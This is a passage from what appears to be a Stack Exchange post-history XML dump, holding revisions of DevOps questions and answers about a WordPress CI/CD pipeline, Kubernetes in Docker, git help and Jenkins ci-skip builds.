CLIENT-KEY-DATA&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kind.sigs.k8s.io/&#xD;&#xA;  [2]: https://kubernetes.io/docs/tasks/tools/install-kubectl/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40165" PostHistoryTypeId="1" PostId="13061" RevisionGUID="1c9041c4-ddf0-49ec-91eb-d29201254ff2" CreationDate="2021-01-02T00:11:43.657" UserId="25401" Text="How to connect to a kubernetes cluster that is inside of a docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40166" PostHistoryTypeId="3" PostId="13061" RevisionGUID="1c9041c4-ddf0-49ec-91eb-d29201254ff2" CreationDate="2021-01-02T00:11:43.657" UserId="25401" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40168" PostHistoryTypeId="2" PostId="13062" RevisionGUID="53a79119-b871-4699-aa33-7b4256bb9726" CreationDate="2021-01-02T09:25:00.450" UserId="3785" Text="I have a few questions related to creating a WordPress pipeline. I am planning to create 3 environments for my website i.e. dev, stage, and production. I am using GitHub to manage the code. So for URLs **dev.example.com**, **stage.example.com**, and **example.com**, the branches are **dev**, **stage**, and **main**. My knowledge says **dev** is for the developer to play around with new codes, tests, and do whatever he wants, the **stage** is like production-ready where QA personal can test codes, functions, etc.&#xD;&#xA;&#xD;&#xA;I have modified wp-config.php to take environmental variables. For example, I have changed&#xD;&#xA;```&#xD;&#xA;define( 'DB_PASSWORD', 'password' );&#xD;&#xA;```&#xD;&#xA;to&#xD;&#xA;```&#xD;&#xA;define( 'DB_PASSWORD', getenv('DB_PASS') );&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;# Questions #&#xD;&#xA;## Database ##&#xD;&#xA;- How should I move a database from one environment to another? Should I let the developer do anything from the dashboard in production and later move the database from production to dev/stage if require?&#xD;&#xA;&#xD;&#xA;## Plugins ##&#xD;&#xA;- I know I can avoid including plugins inside the `wp-content/plugins` folder and use wpcli to install the plugins which are free but what about premium plugins? How can I integrate them?&#xD;&#xA;&#xD;&#xA;## Update ##&#xD;&#xA;- What should be the update strategies? Should I let the developer update from the dashboard? I think it will make changes in the codes and later will conflict with `git merge`. what is your thought on this? Also, do you take a backup of all environments or just production?&#xD;&#xA;&#xD;&#xA;## Tags ##&#xD;&#xA;- How should we configure the pipeline for new releases in GitHub? Should I manually configure the pipeline to deploy on each release?&#xD;&#xA;&#xD;&#xA;For now, I only have these challenges. If I will have more questions then I will add.&#xD;&#xA;&#xD;&#xA;Thank you" ContentLicense="CC BY-SA 4.0" />
  <row Id="40169" PostHistoryTypeId="1" PostId="13062" RevisionGUID="53a79119-b871-4699-aa33-7b4256bb9726" CreationDate="2021-01-02T09:25:00.450" UserId="3785" Text="How to setup WordPress CICD pipeline setup?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40170" PostHistoryTypeId="3" PostId="13062" RevisionGUID="53a79119-b871-4699-aa33-7b4256bb9726" CreationDate="2021-01-02T09:25:00.450" UserId="3785" Text="&lt;wordpress&gt;&lt;pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40171" PostHistoryTypeId="5" PostId="13062" RevisionGUID="732cd9bd-d7b2-49b7-a426-a8f7d70b8a89" CreationDate="2021-01-02T09:40:16.450" UserId="3785" Comment="Updated missing questions" Text="I have a few questions related to creating a WordPress pipeline. I am planning to create 3 environments for my website i.e. dev, stage, and production. I am using GitHub to manage the code. So for URLs **dev.example.com**, **stage.example.com**, and **example.com**, the branches are **dev**, **stage**, and **main**. My knowledge says **dev** is for the developer to play around with new codes, tests, and do whatever he wants, the **stage** is like production-ready where QA personal can test codes, functions, etc.&#xD;&#xA;&#xD;&#xA;I have modified wp-config.php to take environmental variables. For example, I have changed&#xD;&#xA;```&#xD;&#xA;define( 'DB_PASSWORD', 'password' );&#xD;&#xA;```&#xD;&#xA;to&#xD;&#xA;```&#xD;&#xA;define( 'DB_PASSWORD', getenv('DB_PASS') );&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;# Questions #&#xD;&#xA;## Database ##&#xD;&#xA;- How should I move a database from one environment to another? Should I let the developer do anything from the dashboard in production and later move the database from production to dev/stage if require?&#xD;&#xA;&#xD;&#xA;## Plugins ##&#xD;&#xA;- I know I can avoid including plugins inside the `wp-content/plugins` folder and use wpcli to install the plugins which are free but what about premium plugins? How can I integrate them?&#xD;&#xA;&#xD;&#xA;## Update ##&#xD;&#xA;- What should be the update strategies? Should I let the developer update from the dashboard? I think it will make changes in the codes and later will conflict with `git merge`. what is your thought on this? Also, do you take a backup of all environments or just production?&#xD;&#xA;&#xD;&#xA;## Tags ##&#xD;&#xA;- How should we configure the pipeline for new releases in GitHub? Should I manually configure the pipeline to deploy on each release?&#xD;&#xA;&#xD;&#xA;For now, I only have these challenges. If I will have more questions then I will add.&#xD;&#xA;&#xD;&#xA;Thank you&#xD;&#xA;&#xD;&#xA;### EDIT ###&#xD;&#xA; - I am planning to run WordPress in the docker container, alpine as a base image. I am thinking of separating Nginx and php-fpm container. Doing so, we need to copy WordPress files in both containers, how can I overcome this? or should I use php-fpm and Nginx in the same container? is it a good idea?&#xD;&#xA; - what about the cronjobs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40172" PostHistoryTypeId="2" PostId="13063" RevisionGUID="c41d0106-69aa-470e-a889-564924d8ffd1" CreationDate="2021-01-02T10:12:33.010" UserId="13298" Text="Is it possible to run a Windows GUI executable (notepad.exe for example) into a container ?&#xD;&#xA;&#xD;&#xA;I want to do this because i do not trust some software i install on my personal computer and i want to be sure they are runned into a sandbox&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="40173" PostHistoryTypeId="1" PostId="13063" RevisionGUID="c41d0106-69aa-470e-a889-564924d8ffd1" CreationDate="2021-01-02T10:12:33.010" UserId="13298" Text="Dockerize a windows GUI application" ContentLicense="CC BY-SA 4.0" />
  <row Id="40174" PostHistoryTypeId="3" PostId="13063" RevisionGUID="c41d0106-69aa-470e-a889-564924d8ffd1" CreationDate="2021-01-02T10:12:33.010" UserId="13298" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40175" PostHistoryTypeId="5" PostId="13062" RevisionGUID="d8d43c8c-56b9-4697-901d-4b42b2f2341e" CreationDate="2021-01-02T12:53:31.380" UserId="6839" Comment="spelling and formatting improvements" Text="I am planning to create 3 environments for my website i.e. dev, stage, and production. I am using GitHub to manage the code. So for URLs **dev.example.com**, **stage.example.com**, and **example.com**, the branches are **dev**, **stage**, and **main**. My knowledge says **dev** is for the developer to play around with new codes, tests, and do whatever he wants, the **stage** is like production-ready where QA personal can test codes, functions, etc.&#xD;&#xA;&#xD;&#xA;I have modified wp-config.php to take environmental variables. For example, I have changed&#xD;&#xA;```&#xD;&#xA;define( 'DB_PASSWORD', 'password' );&#xD;&#xA;```&#xD;&#xA;to&#xD;&#xA;```&#xD;&#xA;define( 'DB_PASSWORD', getenv('DB_PASS') );&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;# Questions #&#xD;&#xA;## Database ##&#xD;&#xA;- How should I move a database from one environment to another? Should I let the developer do anything from the dashboard in production and later move the database from production to dev/stage if require?&#xD;&#xA;&#xD;&#xA;## Plugins ##&#xD;&#xA;- I know I can avoid including plugins inside the `wp-content/plugins` folder and use wpcli to install the plugins which are free but what about premium plugins? How can I integrate them?&#xD;&#xA;&#xD;&#xA;## Update ##&#xD;&#xA;- What should be the update strategies? Should I let the developer update from the dashboard? I think it will make changes in the codes and later will conflict with `git merge`. what is your thought on this? Also, do you take a backup of all environments or just production?&#xD;&#xA;&#xD;&#xA;## Tags ##&#xD;&#xA;- How should we configure the pipeline for new releases in GitHub? Should I manually configure the pipeline to deploy on each release?&#xD;&#xA;&#xD;&#xA;For now, I only have these challenges. If I will have more questions then I will add.&#xD;&#xA;&#xD;&#xA; - I am planning to run WordPress in the docker container, alpine as a base image. I am thinking of separating Nginx and php-fpm container. Doing so, we need to copy WordPress files in both containers, how can I overcome this? or should I use php-fpm and Nginx in the same container? is it a good idea?&#xD;&#xA; - what about the cronjobs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40176" PostHistoryTypeId="4" PostId="13062" RevisionGUID="d8d43c8c-56b9-4697-901d-4b42b2f2341e" CreationDate="2021-01-02T12:53:31.380" UserId="6839" Comment="spelling and formatting improvements" Text="How to set up WordPress CI/CD pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="40177" PostHistoryTypeId="24" PostId="13062" RevisionGUID="d8d43c8c-56b9-4697-901d-4b42b2f2341e" CreationDate="2021-01-02T12:53:31.380" Comment="Proposed by 6839 approved by 3785 edit id of 1316" ContentLicense="CC BY-SA 4.0" />
  <row Id="40178" PostHistoryTypeId="5" PostId="13054" RevisionGUID="5061bf60-278e-4b2c-ab16-358fd16e4761" CreationDate="2021-01-02T15:17:41.437" UserId="739" Comment="added 518 characters in body" Text="This is not the default behavior of `git` so you have made some local config change to cause this to happen.  Look in your `~/.gitconfig` to see if there's anything that doesn't make sense to you.  Try commenting it out.  The `core.pager` setting is one of the first things I would check.  [This stackoverflow question](https://stackoverflow.com/q/2183900/2002471) has a variety of options for dealing with this sort of thing.&#xD;&#xA;&#xD;&#xA;## update 1&#xD;&#xA;&#xD;&#xA;I haven't tried to get this sort of thing to work, but according to [the docs](https://git-scm.com/docs/git-help#_configuration_variables) you can also specify a `man.viewer` to define the program that is going to run.  Do you get any errors if you try `git help -w reset`?&#xD;&#xA;&#xD;&#xA;One work around would be to get the help to show up in the terminal by using `git help -m reset`.  By using the `help` subcommand instead of `subcommand --help` you can specify whether you want it to try man, info, or web." ContentLicense="CC BY-SA 4.0" />
  <row Id="40180" PostHistoryTypeId="2" PostId="13064" RevisionGUID="9a9b25fe-990f-4071-8607-896fc6b1ad64" CreationDate="2021-01-02T20:07:07.567" UserId="25164" Text="Please check this out to reset your git config setting&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/questions/35853986/easiest-way-to-reset-git-config-file&#xD;&#xA;&#xD;&#xA;second thing, if you want output of help then you can use the &quot;git reset -h&quot; command which shows you minimal option of usage in your bash terminal whereas &quot;git reset --help&quot; command will be direct you to html format which is more descriptive explanation of command. &#xD;&#xA;&#xD;&#xA;I hope this will help you. " ContentLicense="CC BY-SA 4.0" />
  <row Id="40181" PostHistoryTypeId="2" PostId="13065" RevisionGUID="616a0a86-c885-443f-9fa6-80052dc2aed2" CreationDate="2021-01-02T20:49:00.910" UserId="10599" Text="It has been a while since I have run a few Wordpress based sites. The database stores some of the content of the site. The file system stores media that is uploaded into the site. More significantly Wordpress is a Content Management System. The intention is that your site users can add content and media to the live site. When someone uses the WYSIWYG editor to add or edit the content you will find that the sites domain name leaks into the database. So if you move the Staging database into Live you would get links appearing on the Live that that point back to the Staging site. &#xD;&#xA;&#xD;&#xA;I quick bit of research to see if things have improved since I last used it leads to [this article][1] on putting Wordpress into git. It talks about turning off automatic updates so that you have to manually security path. I am pretty sure that I remember that updates can write things into the database. I would be very worried about turning off updates as there are a huge amount of attacks against Wordpress as it is so widely deployed. You really should avoid deploying many third party plugins as they might not get security patches in time. This isn't a theoretical problem I had quite a time dealing with Wordpress being used as a spam relay. Yet even if you follow that article you won't have solved the database migrations issue. &#xD;&#xA;&#xD;&#xA;My recommendation is that you take a step back and try to figure out what problems you are trying to solve and how to adapt the tools and process:&#xD;&#xA;&#xD;&#xA; 1. What is the developer developing? A custom Theme and/or Plugin? If so then [this article][2] covers that. Put the Theme/Plugin into its own repo. &#xD;&#xA; 2. Who actually writes the site content or uploads media? The general public or members of staff? If it is staff then maybe they need minimal training in a Test environment and can happily edit Live after that. &#xD;&#xA;&#xD;&#xA;There are quite a few other specifics that may affect what set of compromises might work best for your situation. &#xD;&#xA;&#xD;&#xA;Based on my experiences without actual knowledge of your specifics: &#xD;&#xA;&#xD;&#xA; - Give up the idea of promoting changes through Dev, Staging and Live. I would simply have a Test site and a Live site. I would periodically refresh the Test site from the Live site. To do this I would dump out the entire Live database a run a `sed -i` over it to replace every instance of &quot;www.mysite.com&quot; with &quot;test.mysite.com&quot;.   &#xD;&#xA; - Give up on using Docker as the software distribution mechanism for the actual site. I would use Docker to supply the PHP+Apache runtime and mount a volume that contained the actual site php+content. &#xD;&#xA; - Try &quot;git checkout&quot; to update the live site in a persistent volume mounted into your generic PHP+Apache docker image. I would investigate the ideas in [this service of articles][2].  &#xD;&#xA; - Use a relational database that has a point-in-time restore feature. Do not rely upon your process giving you stability and reliability. &#xD;&#xA; - Backup the media content volume every night and keep as many backups as you can. &#xD;&#xA; - Avoid their party plugins that are not commercially supported. They likely won't work at the next major upgrade of Wordpress and will pin you onto a version that will become obsolete. &#xD;&#xA;&#xD;&#xA;Then workflow that I would go for would be the to add &quot;experimental features&quot; into the Test site before applying them to the Live site. This would be based on git checkouts in the best case. Yet I would also consider doing Wordpress updates via the CLI. You then have to worry about the Test site drifting away form the Live site. So I would on a periodic base (at least monthly) overwrite the Test site with the Live site. This would involve: &#xD;&#xA;&#xD;&#xA; 1. Backing up the Lite sites media content on the persistent volume and restoring it over the Test sites media content on its persistent volume. &#xD;&#xA; 2. Backing up the Lite sites database, doing a `sed -i` to rewrite any content links pointing at the Live to point at the Test site. Then restoring it over the Test database.  &#xD;&#xA;&#xD;&#xA;I completely recognise that the approach outlined above isn't at all how &quot;normal&quot; software is developed. Yet it is the approach that I have scripted in the past. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.git-tower.com/blog/git-wordpress-2/&#xD;&#xA;  [2]: https://www.git-tower.com/blog/git-wordpress-1/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40182" PostHistoryTypeId="5" PostId="13065" RevisionGUID="2625cf1d-9c36-4fcf-bae8-9c8208aa4343" CreationDate="2021-01-02T20:55:44.313" UserId="10599" Comment="added 197 characters in body" Text="It has been a while since I have run a few Wordpress based sites. The database stores some of the content of the site. The file system stores media that is uploaded into the site. More significantly Wordpress is a Content Management System. The intention is that your site users can add content and media to the live site. When someone uses the WYSIWYG editor to add or edit the content you will find that the sites domain name leaks into the database. So if you move the Staging database into Live you would get links appearing on the Live that that point back to the Staging site. &#xD;&#xA;&#xD;&#xA;I quick bit of research to see if things have improved since I last used it leads to [this article][1] on putting Wordpress into git. Please read the first article in that series that explains the challenges. You will need to understand a little of how Wordpress works to understand the recommendations I make below. &#xD;&#xA;&#xD;&#xA;That article talks about turning off automatic updates so that you have to manually security path. I am pretty sure that I remember that updates can write things into the database. I would be very worried about turning off updates as there are a huge amount of attacks against Wordpress as it is so widely deployed. You really should avoid deploying many third party plugins as they might not get security patches in time. This isn't a theoretical problem I had quite a time dealing with Wordpress being used as a spam relay. Yet even if you follow that article you won't have solved the database migrations issue. &#xD;&#xA;&#xD;&#xA;My recommendation is that you take a step back and try to figure out what problems you are trying to solve and how to adapt the tools and process:&#xD;&#xA;&#xD;&#xA; 1. What is the developer developing? A custom Theme and/or Plugin? If so then [this article][2] covers that. Put the Theme/Plugin into its own repo. &#xD;&#xA; 2. Who actually writes the site content or uploads media? The general public or members of staff? If it is staff then maybe they need minimal training in a Test environment and can happily edit Live after that. &#xD;&#xA;&#xD;&#xA;There are quite a few other specifics that may affect what set of compromises might work best for your situation. &#xD;&#xA;&#xD;&#xA;Based on my experiences without actual knowledge of your specifics: &#xD;&#xA;&#xD;&#xA; - Give up the idea of promoting changes through Dev, Staging and Live. I would simply have a Test site and a Live site. I would periodically refresh the Test site from the Live site. To do this I would dump out the entire Live database a run a `sed -i` over it to replace every instance of &quot;www.mysite.com&quot; with &quot;test.mysite.com&quot;.   &#xD;&#xA; - Give up on using Docker as the software distribution mechanism for the actual site. I would use Docker to supply the PHP+Apache runtime and mount a volume that contained the actual site php+content. &#xD;&#xA; - Try &quot;git checkout&quot; to update the live site in a persistent volume mounted into your generic PHP+Apache docker image. I would investigate the ideas in [this service of articles][2].  &#xD;&#xA; - Use a relational database that has a point-in-time restore feature. Do not rely upon your process giving you stability and reliability. &#xD;&#xA; - Backup the media content volume every night and keep as many backups as you can. &#xD;&#xA; - Avoid their party plugins that are not commercially supported. They likely won't work at the next major upgrade of Wordpress and will pin you onto a version that will become obsolete. &#xD;&#xA;&#xD;&#xA;Then workflow that I would go for would be the to add &quot;experimental features&quot; into the Test site before applying them to the Live site. This would be based on git checkouts in the best case. Yet I would also consider doing Wordpress updates via the CLI. You then have to worry about the Test site drifting away form the Live site. So I would on a periodic base (at least monthly) overwrite the Test site with the Live site. This would involve: &#xD;&#xA;&#xD;&#xA; 1. Backing up the Lite sites media content on the persistent volume and restoring it over the Test sites media content on its persistent volume. &#xD;&#xA; 2. Backing up the Lite sites database, doing a `sed -i` to rewrite any content links pointing at the Live to point at the Test site. Then restoring it over the Test database.  &#xD;&#xA;&#xD;&#xA;I completely recognise that the approach outlined above isn't at all how &quot;normal&quot; software is developed. Yet it is the approach that I have scripted in the past. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.git-tower.com/blog/git-wordpress-2/&#xD;&#xA;  [2]: https://www.git-tower.com/blog/git-wordpress-1/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40183" PostHistoryTypeId="2" PostId="13066" RevisionGUID="6c986f38-fc24-4ba6-84d6-849605df39f8" CreationDate="2021-01-03T04:37:45.347" UserId="25416" Text="I have a Windows machine and I am just starting to learn docker. I have gone through the internet that the best way to start is by installing docker-desktop.  Is there a way i can use docker remotely on any cloud providers without having to install it on my machine ? &#xD;&#xA;  From what I understand I may need to upload my jar files to the remote servers and everything else should be able to be done on the cloud server. &#xD;&#xA;   Is there any such subscription I could purchase to use docker remotely ? Please let me know all the possibilities. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40184" PostHistoryTypeId="1" PostId="13066" RevisionGUID="6c986f38-fc24-4ba6-84d6-849605df39f8" CreationDate="2021-01-03T04:37:45.347" UserId="25416" Text="Is it possible to containerize using docker without a local setup?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40185" PostHistoryTypeId="3" PostId="13066" RevisionGUID="6c986f38-fc24-4ba6-84d6-849605df39f8" CreationDate="2021-01-03T04:37:45.347" UserId="25416" Text="&lt;docker&gt;&lt;dockerhub&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40186" PostHistoryTypeId="2" PostId="13067" RevisionGUID="8d02fabb-b0ee-4208-8949-464deb25029c" CreationDate="2021-01-03T05:27:15.180" UserId="25377" Text="I am trying to implement jenkins ci skip build.&#xD;&#xA;I tried SCM Skip plugin &#xD;&#xA;https://plugins.jenkins.io/scmskip/&#xD;&#xA;&#xD;&#xA;It worked for me , whenever there was a regex matching .*\[ci skip\].*.&#xD;&#xA;&#xD;&#xA;Unfortunately, This plugin is not suitable for one of my usecase,&#xD;&#xA;&#xD;&#xA;Say we have two branches , &#xD;&#xA;&#xD;&#xA;A --&gt; Has last commit message with regex .*\[ci skip\].*, thus build skipped for this branches&#xD;&#xA; &#xD;&#xA;B --&gt; Has last commit message with regex .*\[ci skip\].*, thus build skipped for this branches&#xD;&#xA;&#xD;&#xA;But whenever I am merging branch B to A, the build still skips as it has ci skip regex in latest commits, &#xD;&#xA;I want build to run if there is a merge.&#xD;&#xA;&#xD;&#xA;Could someone suggest any approach?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40187" PostHistoryTypeId="1" PostId="13067" RevisionGUID="8d02fabb-b0ee-4208-8949-464deb25029c" CreationDate="2021-01-03T05:27:15.180" UserId="25377" Text="How to build through Jenkins on merge of two branches, if there is CI Skip enabled and both branches have ci skip commit message?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40188" PostHistoryTypeId="3" PostId="13067" RevisionGUID="8d02fabb-b0ee-4208-8949-464deb25029c" CreationDate="2021-01-03T05:27:15.180" UserId="25377" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40189" PostHistoryTypeId="5" PostId="13065" RevisionGUID="c6871e96-439a-4d2b-bf7d-4a01e7fc9eaa" CreationDate="2021-01-03T08:02:26.317" UserId="10599" Comment="added 3171 characters in body" Text="It has been a while since I have run a few Wordpress based sites. The database stores some of the content of the site. The file system stores media that is uploaded into the site. More significantly Wordpress is a Content Management System. The intention is that your site users can add content and media to the live site. When someone uses the WYSIWYG editor to add or edit the content you will find that the sites domain name leaks into the database. So if you move the Staging database into Live you would get links appearing on the Live that that point back to the Staging site. &#xD;&#xA;&#xD;&#xA;I quick bit of research to see if things have improved since I last used it leads to [this article][1] on putting Wordpress into git. Please read the first article in that series that explains the challenges. You will need to understand a little of how Wordpress works to understand the recommendations I make below. &#xD;&#xA;&#xD;&#xA;That article talks about turning off automatic updates so that you have to manually security path. I am pretty sure that I remember that updates can write things into the database. I would be very worried about turning off updates as there are a huge amount of attacks against Wordpress as it is so widely deployed. You really should avoid deploying many third party plugins as they might not get security patches in time. This isn't a theoretical problem I had quite a time dealing with Wordpress being used as a spam relay. Yet even if you follow that article you won't have solved the database migrations issue. &#xD;&#xA;&#xD;&#xA;My recommendation is that you take a step back and try to figure out what problems you are trying to solve and how to adapt the tools and process:&#xD;&#xA;&#xD;&#xA; 1. What is the developer developing? A custom Theme and/or Plugin? If so then [this article][2] covers that. Put the Theme/Plugin into its own repo. &#xD;&#xA; 2. Who actually writes the site content or uploads media? The general public or members of staff? If it is staff then maybe they need minimal training in a Test environment and can happily edit Live after that. &#xD;&#xA;&#xD;&#xA;Given that Wordpress does not let you aim for perfection due to the way that it is built, yet it is hugely successful, what are you actually aiming to achieve with your process: &#xD;&#xA;&#xD;&#xA; - A Specific Service Level Agreement&#xD;&#xA; - Meantime to recovery&#xD;&#xA; - Mean time between failures&#xD;&#xA; - Reducing the commercial impact of errors&#xD;&#xA; - Something else? &#xD;&#xA;&#xD;&#xA;There are quite a few other specifics that may affect what set of compromises might work best for your situation. &#xD;&#xA;&#xD;&#xA;Based on my experiences without actual knowledge of your specifics: &#xD;&#xA;&#xD;&#xA; - Give up the idea of promoting changes through Dev, Staging and Live. I would simply have a Test site and a Live site. I would periodically refresh the Test site from the Live site. To do this I would dump out the entire Live database a run a `sed -i` over it to replace every instance of &quot;www.mysite.com&quot; with &quot;test.mysite.com&quot;.   &#xD;&#xA; - Give up on using Docker as the software distribution mechanism for the actual site. I would use Docker to supply the PHP+Apache runtime and mount a volume that contained the actual site php+content. &#xD;&#xA; - Try &quot;git checkout vX.Y&quot; to update the live site in a persistent volume mounted into your generic PHP+Apache docker image. I would investigate the ideas in [this series of articles][2].&#xD;&#xA; - Automate the backup of the media content volume every night and keep as many backups as you can. &#xD;&#xA; - Automate the backup of the database every night and keep as many as you can. &#xD;&#xA; - Automate the restore of the site as a script that restores the database to the last midnight backup then restores the last nightly snapshot of the media content folder.  &#xD;&#xA; - Avoid any party plugins that are not commercially supported. They likely won't work at the next major upgrade of Wordpress and will pin you onto a version that will become obsolete. &#xD;&#xA;&#xD;&#xA;Then they workflow that I would go for would be the to add &quot;experimental features&quot; into the Test site before applying them to the Live site. This would be based on git checkouts in the best case. Yet I would also consider doing Wordpress updates via the CLI. You then have to worry about the Test site drifting away form the Live site. So I would on a periodic base (at least monthly) overwrite the Test site with the Live site. This would involve: &#xD;&#xA;&#xD;&#xA; 1. Backing up the Lite sites media content on the persistent volume and restoring it over the Test sites media content on its persistent volume. &#xD;&#xA; 2. Backing up the Lite sites database, doing a `sed -i` to rewrite any content links pointing at the Live to point at the Test site. Then restoring it over the Test database.  &#xD;&#xA;&#xD;&#xA;A key part of this approach is that you would be running your Live site like every other Wordpress site in the world. You don't do &quot;brain surgery&quot; on the Live site. You do frequently do &quot;brain surgery&quot; on the Test site. If the brain surgery goes wrong it's annoying and painful to fix but it is only the Test site that needs some new step to bring it into sync with Live. It is likely that this only happens when you move to a new Wordpress version. If you try a custom approach of moving change into a Live site they might break at a future Wordpress release and leave you with a multiple-day outage in Live.  &#xD;&#xA;&#xD;&#xA;I completely recognise that the approach outlined above isn't at all how &quot;normal&quot; software is developed. Yet it is the approach that I have scripted in the past. Even if you did the standard dev/test/live approach you do not guarantee 100% perfection and 0 bugs. If you accept that perfection isn't possible then what you want is very fast rollback to reduce the impact of bugs. &#xD;&#xA;&#xD;&#xA;Being able to rehearse things in a Test environment should mostly avoid a total outage on the live site. Being able to quickly do a database point-in-time database restore can bring you back to a good state at the loss of some recent edits to the site. That is normally completely acceptable compared to having an extended outage. Consider this scenario: &#xD;&#xA;&#xD;&#xA; - Staff are continually editing content in production including uploading new media into the content folder on disk (e.g., uploading a PDF and linking to it within content where the link is in the database). &#xD;&#xA; - You have run some Wordpress updates in Test a day ago and they seemed good. Today you run them at 9 am in the Live and something odd happens (maybe a timeout or the disk fills up, whatever) and the site becomes corrupted. &#xD;&#xA; - You have automated the rollback. You run the roll-back script which computes the last nightly full backup point then restores the database and restores last night's media content folder backup over the live folder to revert any lost or corrupted files. &#xD;&#xA;&#xD;&#xA;To my knowledge that is as good as you can get. Your meantime to recovery should be the speed of your database restore. This is exactly why you shouldn't have to speak to editing Staff about whether or not they are happy with the roll-back. You shouldn't have options to not restore the media content folder in case it reverts a file that was changed by Staff. You should just push the panic button and send out a prepared email telling Staff that there was an outage at 9 am such that the site has been restored to the previous nights backup and that they should double-check and repeat any work that they have undertaken in the past twenty-four hours and redo their work as necessary. IMHO that is as close to perfection as an opensource PHP content management system such as Wordpress allows. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.git-tower.com/blog/git-wordpress-2/&#xD;&#xA;  [2]: https://www.git-tower.com/blog/git-wordpress-1/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40190" PostHistoryTypeId="5" PostId="13065" RevisionGUID="4cc74480-02e2-4c10-ae2d-93ad1bf2b944" CreationDate="2021-01-03T08:16:56.550" UserId="10599" Comment="added 3171 characters in body" Text="It has been a while since I have run a few Wordpress based sites. The database stores some of the content of the site. The file system stores media that is uploaded into the site. More significantly Wordpress is a Content Management System. The intention is that your site users can add content and media to the live site. When someone uses the WYSIWYG editor to add or edit the content you will find that the sites domain name leaks into the database. So if you move the Staging database into Live you would get links appearing on the Live that that point back to the Staging site. &#xD;&#xA;&#xD;&#xA;I quick bit of research to see if things have improved since I last used it leads to [this article][1] on putting Wordpress into git. Please read the first article in that series that explains the challenges. You will need to understand a little of how Wordpress works to understand the recommendations I make below. &#xD;&#xA;&#xD;&#xA;That article talks about turning off automatic updates so that you have to manually security path. I am pretty sure that I remember that updates can write things into the database. I would be very worried about turning off updates as there are a huge amount of attacks against Wordpress as it is so widely deployed. You really should avoid deploying many third party plugins as they might not get security patches in time. This isn't a theoretical problem I had quite a time dealing with Wordpress being used as a spam relay. Yet even if you follow that article you won't have solved the database migrations issue. &#xD;&#xA;&#xD;&#xA;My recommendation is that you take a step back and try to figure out what problems you are trying to solve and how to adapt the tools and process:&#xD;&#xA;&#xD;&#xA; 1. What is the developer developing? A custom Theme and/or Plugin? If so then [this article][2] covers that. Put the Theme/Plugin into its own repo. &#xD;&#xA; 2. Who actually writes the site content or uploads media? The general public or members of staff? If it is staff then maybe they need minimal training in a Test environment and can happily edit Live after that. &#xD;&#xA;&#xD;&#xA;Given that Wordpress does not let you aim for perfection due to the way that it is built, yet it is hugely successful, carefully pick which of the following you are aiming to optimise:  &#xD;&#xA;&#xD;&#xA; - A Specific Service Level Agreement &#xD;&#xA; - Meantime to recovery&#xD;&#xA; - Mean time between failures&#xD;&#xA; - Reducing the commercial impact of errors&#xD;&#xA; - Something else? &#xD;&#xA;&#xD;&#xA;There are quite a few other specifics that may affect what set of compromises might work best for your situation. &#xD;&#xA;&#xD;&#xA;Based on my experiences without actual knowledge of your specifics: &#xD;&#xA;&#xD;&#xA; - Give up the idea of promoting changes through Dev, Staging and Live. I would simply have a Test site and a Live site. I would periodically refresh the Test site from the Live site. To do this I would dump out the entire Live database a run a `sed -i` over it to replace every instance of &quot;www.mysite.com&quot; with &quot;test.mysite.com&quot;.   &#xD;&#xA; - Give up on using Docker as the software distribution mechanism for the actual site. I would use Docker to supply the PHP+Apache runtime and mount a volume that contained the actual site php+content. This because the disk is a combination of the code and the content of the site so you need to be able to backup and restore it independently of changing the Docker image. &#xD;&#xA; - Try &quot;git checkout vX.Y&quot; to update the live site in a persistent volume mounted into your generic PHP+Apache docker image. I would investigate the ideas in [this series of articles][2].&#xD;&#xA; - Automate the backup of the media content volume every night and keep as many backups as you can. This is why it needs to be a volume mounted into Docker. &#xD;&#xA; - Automate the backup of the database every night and keep as many as you can. &#xD;&#xA; - Automate the restore of the site as a script that restores the database to the last midnight backup then restores the last nightly snapshot of the media content folder.  &#xD;&#xA; - Avoid any party plugins that are not commercially supported. They likely won't work at the next major upgrade of Wordpress and will pin you onto a version that will become obsolete. &#xD;&#xA;&#xD;&#xA;Then they workflow that I would go for would be the to add &quot;experimental features&quot; into the Test site before applying them to the Live site. This would be based on git checkouts in the best case. Yet I would also consider doing Wordpress security updates via the CLI. Those can update the database and the state on disk underneith Docker hence I do not recommend you try to mange the state of your site as a Docker image. &#xD;&#xA;&#xD;&#xA;You then have to worry about the Test site drifting away form the Live site. So I would on a periodic base (at least monthly) overwrite the Test site with the Live site. This would involve: &#xD;&#xA;&#xD;&#xA; 1. Backing up the Lite sites media content on the persistent volume and restoring it over the Test sites media content on its persistent volume. &#xD;&#xA; 2. Backing up the Lite sites database, doing a `sed -i` to rewrite any content links pointing at the Live to point at the Test site. Then restoring it over the Test database.  &#xD;&#xA;&#xD;&#xA;A key part of this approach is that you would be running your Live site like every other Wordpress site in the world. You don't do &quot;brain surgery&quot; on the 